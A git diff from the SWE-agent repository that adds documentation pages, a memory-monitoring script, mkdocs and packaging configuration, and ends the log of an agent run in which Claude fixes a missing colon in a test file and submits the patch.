(edge case) + + try: + + result = division("23", 5) + + print(f"Result of '23'/5: {result}") + + except Exception as e: + + print(f"Error: {type(e).__name__}: {e}") + \ No newline at end of file + diff --git a/src/testpkg/missing_colon.py b/src/testpkg/missing_colon.py + index 20edef5..5857437 100755 + --- a/src/testpkg/missing_colon.py + +++ b/src/testpkg/missing_colon.py + @@ -1,7 +1,7 @@ + #!/usr/bin/env python3 + + + -def division(a: float, b: float) -> float + +def division(a: float, b: float) -> float: + return a/b + + + diff --git a/tests/missing_colon.py b/tests/missing_colon.py + index 20edef5..5857437 100755 + --- a/tests/missing_colon.py + +++ b/tests/missing_colon.py + @@ -1,7 +1,7 @@ + #!/usr/bin/env python3 + + + -def division(a: float, b: float) -> float + +def division(a: float, b: float) -> float: + return a/b + + + + +🤠 INFO ========================= STEP 15 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-6879799c-beea-4522-ad69-b8ad3b73abd1', created=1746538467, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content='I need to remove the reproduction script before submitting again:', role='assistant', + tool_calls=[ChatCompletionMessageToolCall(index=1, function=Function(arguments='{"command": "rm /SWE-agent__test-repo/reproduce_error.py"}', name='bash'), id='toolu_01XQwhvtX6ivmA2UMay32HfR', + type='function')], function_call=None))], usage=Usage(completion_tokens=81, prompt_tokens=5882, total_tokens=5963, completion_tokens_details=None, + prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=4968, text_tokens=None, image_tokens=None), cache_creation_input_tokens=912, cache_read_input_tokens=4968)) +🤖 DEBUG input_tokens=3,433, output_tokens=11, instance_cost=0.09, cost=0.01 +🤖 DEBUG total_tokens_sent=26,329, total_tokens_received=716, total_cost=0.09, total_api_calls=15 +🤠 INFO 💭 THOUGHT + I need to remove the reproduction script before submitting again: + + 🎬 ACTION + rm /SWE-agent__test-repo/reproduce_error.py +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO 🤖 MODEL INPUT + Your command ran successfully and did not produce any output. +🤠 INFO ========================= STEP 16 ========================= +🤖 DEBUG n_cache_control: 2 +🤖 INFO Response: ModelResponse(id='chatcmpl-4f8b36d7-e8ff-43a4-9c1e-2dbf224beeaa', created=1746538471, model='claude-3-7-sonnet-latest', object='chat.completion', system_fingerprint=None, + choices=[Choices(finish_reason='tool_calls', index=0, message=Message(content="Now let's submit again:", role='assistant', tool_calls=[ChatCompletionMessageToolCall(index=1, + function=Function(arguments='{}', name='submit'), id='toolu_01DvZjwT6EgTcJ7sDDFi9Znz', type='function')], function_call=None))], usage=Usage(completion_tokens=42, prompt_tokens=5984, total_tokens=6026, + completion_tokens_details=None, prompt_tokens_details=PromptTokensDetailsWrapper(audio_tokens=None, cached_tokens=5880, text_tokens=None, image_tokens=None), cache_creation_input_tokens=103, + cache_read_input_tokens=5880)) +🤖 DEBUG input_tokens=3,472, output_tokens=6, instance_cost=0.09, cost=0.00 +🤖 DEBUG total_tokens_sent=29,801, total_tokens_received=722, total_cost=0.09, total_api_calls=16 +🤠 INFO 💭 THOUGHT + Now let's submit again: + + 🎬 ACTION + submit +🧰 DEBUG Retrieved state from environment: {'working_dir': '/SWE-agent__test-repo'} +🤠 INFO Found submission: diff --git a/src/testpkg/missing_colon.py b/src/testpkg/missing_colon.py + index 20edef5..5857437 100755 + --- a/src/testpkg/missing_colon.py + +++ b/src/testpkg/missing_colon.py + @@ -1,7 +1,7 @@ + #!/usr/bin/env python3 + + + -def division(a: float, b: float) -> float + +def division(a: float, b: float) -> float: + return a/b + + + diff --git a/tests/missing_colon.py b/tests/missing_colon.py + index 20edef5..5857437 100755 + --- a/tests/missing_colon.py + +++ b/tests/missing_colon.py + @@ -1,7 +1,7 @@ + #!/usr/bin/env python3 + + + -def division(a: float, b: float) -> float + +def division(a: float, b: float) -> float: + return a/b + + + +🤠 INFO 🤖 MODEL INPUT + OBSERVATION: + diff --git a/src/testpkg/missing_colon.py b/src/testpkg/missing_colon.py + index 20edef5..5857437 100755 + --- a/src/testpkg/missing_colon.py + +++ b/src/testpkg/missing_colon.py + @@ -1,7 +1,7 @@ + #!/usr/bin/env python3 + + + -def division(a: float, b: float) -> float + +def division(a: float, b: float) -> float: + return a/b + + + diff --git a/tests/missing_colon.py b/tests/missing_colon.py + index 20edef5..5857437 100755 + --- a/tests/missing_colon.py + +++ b/tests/missing_colon.py + @@ -1,7 +1,7 @@ + #!/usr/bin/env python3 + + + -def division(a: float, b: float) -> float + +def division(a: float, b: float) -> float: + return a/b + + + +🤠 INFO Trajectory saved to + /Users/fuchur/Documents/24/git_sync/SWE-agent/trajectories/fuchur/anthropic_filemap__claude-3-7-sonnet-latest__t-0.00__p-1.00__c-2.00___SWE-agent__test-repo-i1/SWE-agent__test-repo-i1/SWE-agent__test-re + po-i1.traj +╭──────────────────────────── 🎉 Submission successful 🎉 ────────────────────────────╮ +│ SWE-agent has produced a patch that it believes will solve the issue you submitted! │ +│ Use the code snippet below to inspect or apply it! │ +╰─────────────────────────────────────────────────────────────────────────────────────╯ + + # The patch has been saved to your local filesystem at: + PATCH_FILE_PATH='/Users/fuchur/Documents/24/git_sync/SWE-agent/trajectories/fuchur/anthropic_filemap__claude-3-7-sonnet-latest__t-0.00__p-1.00__c-2.00___SWE-agent__test-repo-i1/SWE-agent__test-repo-i1/SWE-agent__ + st-repo-i1.patch' + # Inspect it: + cat "${PATCH_FILE_PATH}" + # Apply it to a local repository: + cd + git apply "${PATCH_FILE_PATH}" + +🏃 INFO Done +🪴 INFO Beginning environment shutdown... +🦖 DEBUG Ensuring deployment is stopped because object is deleted diff --git a/docs/usage/index.md b/docs/usage/index.md new file mode 100644 index 0000000..a1b7a9d --- /dev/null +++ b/docs/usage/index.md @@ -0,0 +1,46 @@ +# User guides + +This part of the documentation covers more details about configuring and developing SWE-agent. +Just want to run it? See [getting started](../index.md) instead! + +
+ +
+
+ book + Background & goals +
+

Learn more about the project goals and academic research.

+
+ + + +
+
+ book + Command line interface +
+

Learn about all the different subcommands of sweagent.

+
+ + + +
+
+ settings + Configuration +
+

How to configure SWE-agent.

+
+ + + +
+
+ image + Multimodal Support +
+

Use SWE-agent with vision-capable AI models for image processing.

+
+ +
\ No newline at end of file diff --git a/docs/usage/inspector.md b/docs/usage/inspector.md new file mode 100644 index 0000000..a590fb7 --- /dev/null +++ b/docs/usage/inspector.md @@ -0,0 +1,74 @@ +# Inspecting trajectories + +!!! abstract "Inspecting trajectories" + * Trajectories are the main output of SWE-agent. They are the best way to understand what SWE-agent does, especially when running on many problem instances. + * We provide two tools for visualizing the [`.traj` files](trajectories.md) from the `trajectories` folder more easily. + * Use `swe-agent inspect` (or `sweagent i`) to open the command line inspector. + * Use `swe-agent inspector` (or `sweagent I`) to open the web inspector. + * Please complete the [hello world](hello_world.md) tutorial before proceeding. + +You should see a folder called `trajectories` in your working directory. Let's go to one of the *experiment directories*: + +```bash +cd trajectories/$USER/ # (1)! +``` + +1. Don't have a folder here? Make sure to run SWE-agent at least once. + +## Command line inspector + + + +Run the inspector in the directory containing your `.traj` files: + +```bash +sweagent inspect +# or +sweagent i +``` + +You will be put into a pager that lets you navigate between trajectories. +Here's how to navigate (this is similar to vim keybindings): + +* Use `q` to quit +* Switching between trajectories: + * `H` and `L` go to the previous/next trajectory + * `t` brings up a list of all trajectories. Use type-ahead search to find a specific trajectory (once your search string results in a single match, the trajectory will be opened). Press `` to cycle through the list of matches. +* Use `h` and `l` to navigate between the steps in the trajectory +* Use `j` and `k` to scroll down/up +* By default we only show reduced information. You can press `v` to toggle the view. +* Press `o` to open the logs +* Sometimes you see that you can press `e` to open a file in your `$EDITOR`. For this to work, the `EDITOR` environment variable must be set (e.g., to `nano` or `vim`). + +## Web-based inspector + + +Run the inspector in this directory (this is where your `*.traj` files are): + +```bash +sweagent inspector +# or +sweagent I +``` +The inspector will then be launched in the browser: + +![trajectory inspector](../assets/inspector_1.png){: style="width: 49%;"} +![trajectory inspector](../assets/inspector_2.png){: style="width: 49%;"} + +**Additional flags** + +- `--directory`: Directory of trajectories to inspect (Defaults to current directory) +- `--port`: Port to host web app (Defaults to `8000`). + +## Benchmark results + +If you are running SWE-agent on a benchmark (see [batch mode](batch_mode.md)), you will see evaluation results as ✅ or ❌. +Otherwise, you will see ❓. + +!!! tip + * If you do not see evaluation results, make sure that the SWE-bench output + is called `results.json` and is in the same directory as the trajectories. + * To see gold patches, point `--data_path` to the SWE-bench dataset. + + +{% include-markdown "../_footer.md" %} diff --git a/docs/usage/leetcode_example.md b/docs/usage/leetcode_example.md new file mode 100644 index 0000000..26ae86f --- /dev/null +++ b/docs/usage/leetcode_example.md @@ -0,0 +1,28 @@ +Given an unsorted integer array nums. +Return the smallest positive integer that is not present in nums. + +You must implement an algorithm that runs in O(n) time and uses O(1) auxiliary space. + +## Example 1: + +> Input: nums = [1,2,0] +> Output: 3 +> Explanation: The numbers in the range [1,2] are all in the array. + +## Example 2: + +> Input: nums = [3,4,-1,1] +> Output: 2 +> Explanation: 1 is in the array but 2 is missing. + +## Example 3: + +> Input: nums = [7,8,9,11,12] +> Output: 1 +> Explanation: The smallest positive integer 1 is missing. + +## Constraints: + +1 <= nums.length <= 105 +-231 <= nums[i] <= 231 - 1 + diff --git a/docs/usage/memory_sentinel.py b/docs/usage/memory_sentinel.py new file mode 100644 index 0000000..aba49bd --- /dev/null +++ b/docs/usage/memory_sentinel.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +""" +Memory Sentinel Script + +This script monitors the system's RAM usage and kills the process with the highest +memory consumption if available RAM drops below 5GB. + +Usage: + python memory_sentinel.py + +The script runs continuously, checking memory usage every second. + +Script was generated by Claude 3.7 with the following prompt: + +I'm working on a server and I have one script that sometimes consumes so much memory that the entire server becomes unresponsive. This is a hue problem because then I cannot log in to it anymore. + +Could you write a sentinel script in python that does the following: + +Check the total available RAM of the system (disregarding swap) +Check the currently used RAM of the system +If we have more than 5G left, do nothing +Else, find the process with the highest RAM consumption and kill it. Note: Use the SIGKILL command +Check every second +""" + +import logging +import os +import signal +import time + +import psutil + +# Set up logging +logging.basicConfig( + level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s", filename="memory_sentinel.log", filemode="a" +) + +# Memory threshold in GB +MEMORY_THRESHOLD_GB = 5 +# Convert to bytes for comparison +MEMORY_THRESHOLD_BYTES = MEMORY_THRESHOLD_GB * 1024 * 1024 * 1024 + + +def get_available_ram(): + """Get the available RAM in bytes, excluding swap.""" + return psutil.virtual_memory().available + + +def get_total_ram(): + """Get the total RAM in bytes, excluding swap.""" + return psutil.virtual_memory().total + + +def get_used_ram(): + """Get the used RAM in bytes.""" + return psutil.virtual_memory().used + + +def get_process_with_highest_memory(): + """Find the process with the highest memory consumption.""" + processes = [] + for proc in psutil.process_iter(["pid", "name", "memory_info"]): + try: + processes.append((proc.info["pid"], proc.info["name"], proc.info["memory_info"].rss)) + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + pass + + # Sort by memory usage (descending) + processes.sort(key=lambda x: x[2], reverse=True) + + if processes: + return processes[0] + return None + + +def kill_process(pid): + """Kill a process using SIGKILL.""" + try: + os.kill(pid, signal.SIGKILL) + return True + except OSError as e: + logging.error(f"Failed to kill process {pid}: {e}") + return False + + +def format_bytes(bytes_value): + """Format bytes to a human-readable string.""" + for unit in ["B", "KB", "MB", "GB", "TB"]: + if bytes_value < 1024.0: + return f"{bytes_value:.2f} {unit}" + bytes_value /= 1024.0 + return f"{bytes_value:.2f} PB" + + +def main(): + """Main function that runs the memory monitoring loop.""" + logging.info("Memory Sentinel started") + logging.info(f"Memory threshold set to {MEMORY_THRESHOLD_GB}GB") + + try: + while True: + available_ram = get_available_ram() + total_ram = get_total_ram() + used_ram = get_used_ram() + + logging.debug( + f"Total RAM: {format_bytes(total_ram)}, " + + f"Used RAM: {format_bytes(used_ram)}, " + + f"Available RAM: {format_bytes(available_ram)}" + ) + + if available_ram < MEMORY_THRESHOLD_BYTES: + logging.warning( + f"Available RAM ({format_bytes(available_ram)}) " + f"below threshold of {MEMORY_THRESHOLD_GB}GB" + ) + + process = get_process_with_highest_memory() + if process: + pid, name, memory = process + logging.warning(f"Killing process {pid} ({name}) " + f"using {format_bytes(memory)}") + + if kill_process(pid): + logging.info(f"Successfully killed process {pid} ({name})") + else: + logging.error(f"Failed to kill process {pid} ({name})") + else: + logging.warning("No process found to kill") + + # Sleep for 1 second + time.sleep(1) + + except KeyboardInterrupt: + logging.info("Memory Sentinel stopped by user") + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + +if __name__ == "__main__": + main() diff --git a/docs/usage/multimodal.md b/docs/usage/multimodal.md new file mode 100644 index 0000000..7bf0631 --- /dev/null +++ b/docs/usage/multimodal.md @@ -0,0 +1,157 @@ +# Multimodal Support + +SWE-agent supports multimodal AI models that can process both text and images. This enables the agent to work with visual context from GitHub issues, such as screenshots, diagrams, and UI mockups. + +## Overview + +The multimodal implementation automatically: + +- **Detects multimodal instances** from SWE-bench Multimodal datasets +- **Downloads images** from GitHub issue URLs +- **Converts to base64 markdown** format for AI model consumption +- **Handles errors gracefully** with fallback to text-only processing + +## Supported Image Categories + +Currently, SWE-agent processes images from the `problem_statement` category, which includes: + +- Screenshots showing bugs or issues +- UI mockups and design specifications +- Diagrams explaining the problem +- Error screenshots and visual evidence + +!!! note "Design Choice" + Only `problem_statement` images are processed to provide essential visual context for understanding the task, while preserving agent autonomy in determining solution approaches. Images from `patch` and `test_patch` categories may contain solution hints and are not processed. + +## Configuration + +### Basic Multimodal Setup + +Use the pre-configured multimodal setup: + +```bash +sweagent run-batch \ + --config config/default_mm_with_images.yaml \ + --instances.type swe_bench \ + --instances.subset multimodal \ + --instances.split dev +``` + +### Disabling Image Processing + +You can disable image processing globally: + +```yaml +# config/your_config.yaml +agent: + templates: + disable_image_processing: true +``` + +Or for specific instances: + +```python +from sweagent.agent.problem_statement import SWEBenchMultimodalProblemStatement + +problem_statement = SWEBenchMultimodalProblemStatement( + text="Fix the rendering issue", + issue_images=["https://example.com/screenshot.png"], + disable_image_processing=True # Skip image processing +) +``` + +## Supported Models + +Multimodal support works with any vision-capable models, including: + +- **Claude Sonnet 4** +- **o3** and **o4-mini** +- **Gemini 2.5** models + +Example model configuration: + +```yaml +# model_configs/claude-sonnet-4-20250514_mm.yaml +model: + name: claude-sonnet-4-20250514 + # Vision capabilities automatically detected +``` + +## Image Processing Details + +### Supported Formats +- PNG, JPEG, WebP images +- Maximum size: 10MB per image + + +## Example Usage + +### Automatic Detection + +When loading SWE-bench instances, multimodal support is automatic: + +```json +{ + "instance_id": "example__repo-123", + "problem_statement": "Fix the chart rendering bug...", + "image_assets": { + "problem_statement": ["http://example.com/chart.png"] + } +} +``` + +### Direct Usage + +```python +from sweagent.agent.problem_statement import SWEBenchMultimodalProblemStatement + +problem_statement = SWEBenchMultimodalProblemStatement( + text="Fix the rendering issue shown in the screenshots", + issue_images=[ + "https://example.com/before.png", + "https://example.com/after.png" + ] +) + +# This downloads images and converts them to base64 markdown +processed_text = problem_statement.get_problem_statement() +``` + +## Configuration Options + +In order to enable multimodal processing, you need to update the following configuration options: + +### History Processing + +Enable image parsing in your configuration: + +```yaml +agent: + history_processors: + - type: image_parsing # Parse base64 encoded images in observations +``` + +### Tool Bundles + +Include image and browser tools for visual tasks: + +```yaml +agent: + tools: + bundles: + - path: tools/image_tools # includes open_image tool to let models open image files + - path: tools/web_browser # includes 17 browser automation tools (click_mouse, open_site, etc.) +``` + +The `web_browser` bundle provides tools for: +- Opening websites (`open_site`) +- Taking screenshots (`screenshot_site`) +- Interacting with web pages (`click_mouse`, `type_text`, `scroll_on_page`) +- Executing JavaScript (`execute_script_on_page`) +- And more - see the [configuration guide](../config/config.md#web-browser-tools) for the full list + +### Templates Configuration + +We've enabled multimodal processing when `--instances.type=swe-bench --instances.subset=multimodal` are set. + +To disable this behavior, you must set `--agent.templates.disable_image_processing=true`. \ No newline at end of file diff --git a/docs/usage/trajectories.md b/docs/usage/trajectories.md new file mode 100644 index 0000000..ae63a68 --- /dev/null +++ b/docs/usage/trajectories.md @@ -0,0 +1,103 @@ +# Output files + +The [`trajectories/`](https://github.com/SWE-agent/SWE-agent/tree/main/trajectories) folder is the default location that experiment results (for example invocations of [`sweagent run`](cl_tutorial.md)) will be written to. + +## Trajectories + +The main output file is `.traj`, which is a `.json` formatted file containing the (thought, action, observation) turns generated by SWE-agent towards solving ``. + +Under the `trajectory` key, you can see information for every step of the agent. It looks something like this: + +```json +{ + # This is the output of the LM + "response": "We are indeed seeing the same output as the issue. The issue suggests that we should look at line 1474 of the `fields.py`...", + # We then parse it into thoughts and actions + "thought": "We are indeed seeing the same output as the issue. The issue suggests that we should look at line 1474 of the `fields.py`..." + "action": "ls -F\n", + # And execute the action, resulting in the output + "observation": "AUTHORS.rst\nCHANGELOG.rst\nCODE_OF_CONDUCT.md...", + # In addition, after the action was executed, state can be extracted from the environment + "state": "{\"open_file\": \"/marshmallow-code__marshmallow/reproduce.py\", \"working_dir\": \"/marshmallow-code__marshmallow\"}\n", + # For debugging, we also keep all messages that were shown to the LM + "query": [{"role": "system", "content": "You are a helpful assistant ..."}, ...] +}, +``` + +!!! warning "Query and message field" + Prior to SWE-agent 1.1.0, we had a `message` field which corresponded (approximately) to the input + for the LM for the _next_ step. This was replaced with `query`, which shows the exact input + at the current step. + +Here's a full example: + +
+Example trajectory + +Note: This trajectory is from SWE-agent v0.7.0. It might look different in newer versions. + +```json +--8<-- "trajectories/demonstrations/replay__marshmallow-code__marshmallow-1867__default__t-0.20__p-0.95__c-2.00__install-1___install_from_source/marshmallow-code__marshmallow-1867.traj" +``` +
+ +!!! tip "Viewing trajectories" + We provide a [trajectory viewer](inspector.md) for an easy viewing of trajectories. + If you want to view the json, we recommend [jsoneditoronline](https://jsoneditoronline.org/), + because of the way it handles long lines. + +Trajectories can also be turned into custom demonstrations for SWE-agent ([more information](../config/demonstrations.md)). + +## Other output files + +Together with the trajectory, SWE-agent will also generate the following files per instance: + +* `config.yaml`: A yaml file containing the configuration used for the experiment. You can directly repeat the run of this + exact instance by running `sweagent run --config config.yaml`. +* `*.log`: Log files at different levels + +At a high level, the experiments folder is organized in the following manner: + +``` +trajectories: + user 1: + experiment 1: + run_batch.config.yaml + preds.json + run_batch.debug.log + run_batch.info.log + run_batch.warning.log + run_batch_exit_statuses.yaml + instance_1: + instance_1.traj + instance_1.config.yaml + instance_1.debug.log + instance_1.info.log + instance_1.warning.log + instance 2: + ... + experiment 2: + ... + user 2: + ... +``` + +Where every experiment follows the pattern `trajectories//`. The `` is automatically inferred from your system, and the `experiment name` is inferred from the model names and other settings to the run command. + + +Here are a few more files that are generated with `sweagent run-batch`: + +* `run_batch.config.yaml`: A yaml file containing the configuration used for the experiment. You can directly repeat the run of this + exact experiment by running `sweagent run-batch --config run_batch.config.yaml`. +* `preds.json`: All predictions (i.e., patches produced by the agent) from all instances of the experiment. + If this file goes out of date, you can regenerate it by running `sweagent merge-preds`. +* `run_batch.*.log`: Log files at different levels. +* `run_batch_exit_statuses.yaml`: A yaml file containing the exit statuses of all instances in the experiment (for this run of `sweagent run-batch`). + + +!!! tip + * Evaluation is not completed by `sweagent run-batch`, it is a separate step (see [batch mode](batch_mode.md)) + * `preds.json` can be referenced directly into SWE-bench to run evaluation + * Trajectories can be turned into custom demonstrations for SWE-agent ([more information](../config/demonstrations.md)). + +{% include-markdown "../_footer.md" %} diff --git a/docs/usage/union_type_error.txt b/docs/usage/union_type_error.txt new file mode 100644 index 0000000..2c2acb4 --- /dev/null +++ b/docs/usage/union_type_error.txt @@ -0,0 +1,40 @@ +╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ +│ Validation error │ +│ │ +│ The following errors are raised by Pydantic, trying to instantiate the configuration based on │ +│ the merged configuration dictionary (see above). │ +│ │ +│ Every new indented block corresponds to a different error from Pydantic. │ +│ The first line of each block is the attribute that failed validation, the following lines are the error messages. │ +│ │ +│ If you see many lines of errors, there are probably different ways to instantiate the same object (a union type). │ +│ For example, there are different deployments with different options each. Pydantic is then trying │ +│ one after the other and reporting the failures for each of them. │ +│ │ +│ 8 validation errors for RunSingleConfig │ +│ agent.model │ +│ Field required }, input_type=dict] │ +│ For further information visit https://errors.pydantic.dev/2.9/v/missing │ +│ problem_statement.TextProblemStatement.text │ +│ Field required │ +│ For further information visit https://errors.pydantic.dev/2.9/v/missing │ +│ problem_statement.TextProblemStatement.path │ +│ Extra inputs are not permitted │ +│ For further information visit https://errors.pydantic.dev/2.9/v/extra_forbidden │ +│ problem_statement.TextProblemStatement.github_url │ +│ Extra inputs are not permitted │ +│ For further information visit https://errors.pydantic.dev/2.9/v/extra_forbidden │ +│ problem_statement.GithubIssue.path │ +│ Extra inputs are not permitted │ +│ For further information visit https://errors.pydantic.dev/2.9/v/extra_forbidden │ +│ problem_statement.EmptyProblemStatement.path │ +│ Extra inputs are not permitted │ +│ For further information visit https://errors.pydantic.dev/2.9/v/extra_forbidden │ +│ problem_statement.EmptyProblemStatement.github_url │ +│ Extra inputs are not permitted │ +│ For further information visit https://errors.pydantic.dev/2.9/v/extra_forbidden │ +│ problem_statement.FileProblemStatement.github_url │ +│ Extra inputs are not permitted │ +│ For further information visit https://errors.pydantic.dev/2.9/v/extra_forbidden │ +╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ + diff --git a/docs/usage/whats_next.md b/docs/usage/whats_next.md new file mode 100644 index 0000000..b2d28f8 --- /dev/null +++ b/docs/usage/whats_next.md @@ -0,0 +1,15 @@ +# What's next? + +Congratulations, this is currently the last tutorial! + +Here are some ideas for what to check out next: There are two more sections on this website: + +* [User guides](index.md): This covers selected topics in more detail, for example + * What are all the different [subcommands](cli.md) of `sweagent`? + * How to [configure swe-agent](../config/index.md)? + * What's the main [architecture](../background/architecture.md) of SWE-agent? +* [API reference](../reference/index.md) for complete lists of all configuration options. + + + + diff --git a/mkdocs.yml b/mkdocs.yml new file mode 100644 index 0000000..8908316 --- /dev/null +++ b/mkdocs.yml @@ -0,0 +1,182 @@ +site_name: SWE-agent documentation +site_url: https://swe-agent.com +theme: + name: material + icon: + repo: fontawesome/brands/github + annotation: material/chevron-right-circle + custom_dir: docs/overrides + logo: assets/swe-agent.svg + favicon: assets/favicon.ico + palette: + - media: "(prefers-color-scheme)" + toggle: + icon: material/brightness-auto + name: Switch to light mode + - scheme: default + # primary: black # override in custom.css + accent: deep orange + media: "(prefers-color-scheme: light)" + toggle: + icon: material/weather-night + name: Switch to dark mode + - scheme: slate + # primary: black # override in custom.css + accent: deep orange + media: "(prefers-color-scheme: dark)" + toggle: + icon: material/weather-sunny + name: Switch to light mode + features: + - navigation.indexes + - navigation.top + - content.action.edit + - navigation.footer + - content.code.copy + - content.footnote.tooltips + - header.autohide + - announce.dismiss + - content.code.annotate + - navigation.tabs + - navigation.tabs.sticky +markdown_extensions: + - admonition + - pymdownx.details + - pymdownx.tabbed: + alternate_style: true + - pymdownx.superfences + - pymdownx.magiclink + - footnotes + - attr_list + - md_in_html + - pymdownx.snippets: + check_paths: true + - pymdownx.emoji: + emoji_index: !!python/name:material.extensions.emoji.twemoji + emoji_generator: !!python/name:material.extensions.emoji.to_svg +nav: + - Getting Started: + - index.md + - "Installation": + - "installation/index.md" + - "From source": "installation/source.md" + - "In browser": "installation/codespaces.md" + - "Models and keys": "installation/keys.md" + - "1.0 migration": "installation/migration.md" + - "Troubleshooting": "installation/tips.md" + - "Changelog": "installation/changelog.md" + - "Tutorials": + - "Hello world": "usage/hello_world.md" + - "Command line basics": "usage/cl_tutorial.md" + - "Solving coding challenges": "usage/coding_challenges.md" + - "Trajectory inspector": "usage/inspector.md" + - "Batch mode": "usage/batch_mode.md" + - "Competitive runs": "usage/competitive_runs.md" + - "Adding custom tools": "usage/adding_custom_tools.md" + - "What's next?": "usage/whats_next.md" + - "FAQ": "faq.md" + - User Guides: + - "usage/index.md" + - Project overview: + - "index": "background/index.md" + - "Architecture": "background/architecture.md" + - "Agent tools": "background/aci.md" + - "Command line interface": "usage/cli.md" + - "Output files": "usage/trajectories.md" + - Configuration: + - "index": "config/index.md" + - "Config files": "config/config.md" + - "Templates": "config/templates.md" + - "Models": "config/models.md" + - "Demonstrations": "config/demonstrations.md" + - "Tools": "config/tools.md" + - "Environments": "config/environments.md" + - Development: + - "Contribution guide": "dev/contribute.md" + - "Formatting conflicts": "dev/formatting_conflicts.md" + - API Reference: + - "reference/index.md" + - Run config: + - "Run single": "reference/run_single_config.md" + - "Run batch": "reference/run_batch_config.md" + - Instance config: + - "Problem statements": "reference/problem_statements.md" + - "Repository": "reference/repo.md" + - "Batch instances": "reference/batch_instances.md" + - Agent config: + - "Agent config": "reference/agent_config.md" + - "Model config": "reference/model_config.md" + - "Templates": "reference/template_config.md" + - "Tools": "reference/tools_config.md" + - "History processors": "reference/history_processor_config.md" + - "Action parsers": "reference/parsers.md" + - "Environment config": "reference/env_config.md" + - "Tool bundle config": "reference/bundle_config.md" + - Classes: + - "Agent class": "reference/agent.md" + - "Environment class": "reference/env.md" + - "Exceptions": "reference/exceptions.md" +plugins: + - glightbox + - search + - include-markdown + - mike: + canonical_version: latest + version_selector: true + - mkdocstrings: + default_handler: python + handlers: + python: + paths: [sweagent] + options: + merge_init_into_class: true + summary: false + show_root_heading: true + heading_level: 2 + docstring_style: google + show_if_no_docstring: true + show_signature: true + show_signature_annotations: true + signature_crossrefs: true + separate_signature: true + show_symbol_type_heading: true + show_symbol_type_toc: true + members_order: source + extensions: + - griffe_pydantic: + schema: false + filters: + - "!^_" + - "!^model_config" + - "!^model_post_init" +repo_url: https://github.com/SWE-agent/SWE-agent +repo_name: SWE-agent/SWE-agent +edit_uri: edit/main/docs/ +extra_javascript: + - assets/js/sh-annotation.js +extra_css: + - https://fonts.googleapis.com/icon?family=Material+Icons + - assets/navigation_cards.css + - assets/custom.css + - assets/mkdocstrings.css + - assets/image_theme.css + - assets/bubbles.css +extra: + version: + provider: mike + analytics: + provider: google + property: G-SG2NC1GDRD + # feedback: + # title: Was this page helpful? + # ratings: + # - icon: material/emoticon-happy-outline + # name: This page was helpful + # data: 1 + # note: >- + # Thanks for your feedback! + # - icon: material/emoticon-sad-outline + # name: This page could be improved + # data: 0 + # note: >- + # Thanks for your feedback! If anything was missing, please ask a question on github! diff --git a/mlc_config.json b/mlc_config.json new file mode 100644 index 0000000..b96ca75 --- /dev/null +++ b/mlc_config.json @@ -0,0 +1,44 @@ +{ + "ignorePatterns": [ + { + "pattern": "https://github.com/?.*" + }, + { + "pattern": "https://platform.openai.com/docs/.*" + }, + { + "pattern": "https://docs.anthropic.com/.*" + }, + { + "pattern": ".*localhost.*" + }, + { + "pattern": "https?://(.*\\.)?twitter\\.com/.*" + }, + { + "pattern": "https?://(.*\\.)?x\\.com/.*" + }, + { + "pattern": "https://linuxize.com/post/bash-heredoc/" + }, + { + "pattern": "https://leetcode.com/problems/.*" + }, + { + "pattern": "https://jsoneditoronline.org/.*" + }, + { + "pattern": ".*\\.md/#sweagent\\..*" + }, + { + "pattern": "^(?!https).*(?=3.11" +license = {file = "LICENSE"} +keywords = ["nlp", "agents", "code"] +authors = [ + {name = "Carlos E. Jimenez", email = "carlosej@princeton.edu" }, + {name = "John Yang", email = "byjohnyang@gmail.com" }, + {name = "Kilian Lieret", email = "kilian.lieret@posteo.de" }, +] + +# Classifiers help users find your project by categorizing it. +classifiers = [ + # How mature is this project? Common values are + # 3 - Alpha, 4 - Beta, 5 - Production/Stable + "Operating System :: OS Independent", + # Indicate who your project is intended for + "Intended Audience :: Developers", + # Pick your license as you wish + "License :: OSI Approved :: MIT License", + "Programming Language :: Python :: 3.11", + "Programming Language :: Python :: 3.12", + "Programming Language :: Python :: 3 :: Only", +] + +dependencies = [ + "datasets", + "numpy", + "pandas", + "rich", + "ruamel.yaml", + "tenacity", + "unidiff", + "simple-parsing", + "rich-argparse", + "flask", + "flask-cors", + "flask-socketio", + "pydantic", + "python-dotenv", + "pydantic_settings", + "litellm>=1.44.12,!=1.82.7,!=1.82.8", + "GitPython", + "ghapi", + "swe-rex>=1.4.0", + "tabulate", + "textual>=1.0.0", + "requests", +] + +[project.scripts] +sweagent = "sweagent.run.run:main" + +[project.optional-dependencies] +dev = [ + "mike", + "mkdocs-material", + "mkdocs-glightbox", + "mkdocs-include-markdown-plugin", + "mkdocstrings[python]>=0.18", + "pytest", + "pytest-cov", + "pipx", + "pre-commit", + "pytest-xdist", + "griffe-pydantic!=1.1.3", +] + +[tool.setuptools] +include-package-data = true + +[tool.setuptools.dynamic] +version = {attr = "sweagent.__version__"} + +[tool.setuptools.packages.find] +where = ["."] +namespaces = false + +[project.urls] +"Homepage" = "https://swe-agent.com" +"Bug Reports" = "http://github.com/SWE-agent/SWE-agent/issues" +"Documentation" = "https://swe-agent.com/latest/" +"Source" = "http://github.com/SWE-agent/SWE-agent" + + +[tool.pytest.ini_options] +markers = [ + "slow: marks tests as slow (deselect with '-m \"not slow\"')", + "ctf: marks EnIGMA tests for using SWE-agent on capture the flag (CTF) challenges", +] +testpaths = [ + "tests" +] +xfail_strict = true +asyncio_default_fixture_loop_scope = "function" + +[tool.ruff] +# Exclude a variety of commonly ignored directories. +exclude = [ + ".bzr", + ".direnv", + ".eggs", + ".git", + ".git-rewrite", + ".hg", + ".ipynb_checkpoints", + ".mypy_cache", + ".nox", + ".pants.d", + ".pyenv", + ".pytest_cache", + ".pytype", + ".ruff_cache", + ".svn", + ".tox", + ".venv", + ".vscode", + 